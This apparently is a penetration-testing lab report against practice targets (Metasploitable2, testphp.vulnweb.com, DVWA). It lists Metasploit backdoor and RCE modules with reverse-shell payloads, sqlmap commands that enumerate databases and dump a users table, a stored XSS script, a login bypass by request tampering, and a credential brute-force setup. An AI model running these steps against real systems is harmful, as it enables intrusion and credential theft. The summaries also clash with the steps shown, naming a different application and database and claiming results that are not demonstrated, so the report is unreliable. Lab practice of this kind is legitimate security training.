3. Exploitation Lab
Activities:
Tools: **Metasploit, Burp Suite, sqlmap**
Tasks: Simulate exploits, validate results.

Enhanced Tasks
Exploit Simulation
Exploit **Metasploitable2** using Metasploit module:
1. exploit/unix/ftp/vsftpd_234_backdoor
2. exploit/unix/irc/unreal_ircd_3281_backdoor
3. exploit/multi/samba/usermap_script
4. auxiliary/scanner/http/tomcat_mgr_login
5.

Exploit ID	Description	Target IP	Status	Payload
001	FTP	192.168.0.9	Success	
002	UnrealIRCd Backdoor RCE	192.168.0.9	Success	cmd/unix/reverse_perl
003	Samba 3.0.20 RCE (CVE-2007-2447)	192.168.0.9	Success	cmd/unix/reverse_netcat
004	Tomcat Manager Login Exploit (Port 8180)	192.168.0.9	Success	
005	PostgreSQL RCE	192.168.0.9	Success	linux/postgres/postgres_payload

Validation (Exploit-DB PoC Summary)
Exploit-DB confirms that Apache Tomcat Manager allows remote code execution when default or weak credentials are used. Attackers upload a malicious WAR file through the manager interface, gaining full remote command execution. The Metasploit module matches the PoC technique, validating that the exploit is legitimate and replicable in lab environments.

SQL Injection Exploitation (sqlmap)

Target

http://testphp.vulnweb.com/artists.php?artist=1

Objective

Use sqlmap to exploit SQL injection and extract database information.

Commands

Step 1 — Detect injection

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" --
batch --dbs
```

Dump tables:

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D
acuart --tables --batch
```

Dump columns:

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D
acuart -T users --columns --batch
```

Dump data:

```
sqlmap -u "http://testphp.vulnweb.com/artists.php?artist=1" -D
acuart -T users --dump --batch
```

Summary

sqlmap identified a vulnerable GET parameter in the Mutillidae application. Automated testing confirmed boolean-based and error-based SQL injection. The tool successfully enumerated the nowasp database and dumped credential data. The exploitation demonstrates how unauthenticated attackers can extract sensitive information and compromise the backend database.

Burp Suite Exploitation Task
Target: http://172.17.0.2/login.php

🛠️ Burp Exploitation #2 — Stored XSS

Steps:

1. Go to *“Vulnerability: Stored Cross Site Scripting (XSS)”*
2. In" Name": king
3. In "message":

<script>alert('Hacked by Burp');</script>

3. Submit
4. Reload page → popup executes.

🛠️ Burp Exploitation #3 — Authentication Bypass

Steps:

1. Capture login request:

username=Arcane107&password=anything

2. Modify in Repeater:

username=admin&password

3. Response returns dashboard → bypass successful.

🛠️ Burp Exploitation #4 — Directory Brute-force (Burp Intruder)

1. Target:
   http://172.17.0.2/login.php
2. Intruder → cluster
3. Add payload list 1
   admin
   root
   user
4. Add payload list 2
   password
   iloveyou
   pass123

5. start attack

Summary

Burp Suite enabled manual exploitation of SQL injection, stored XSS, and authentication bypass in DVWA. Using Intruder, hidden administrative directories were discovered. Repeater confirmed that crafted payloads could leak user data, execute JavaScript in victims' browsers, and defeat login controls, proving critical web application weaknesses.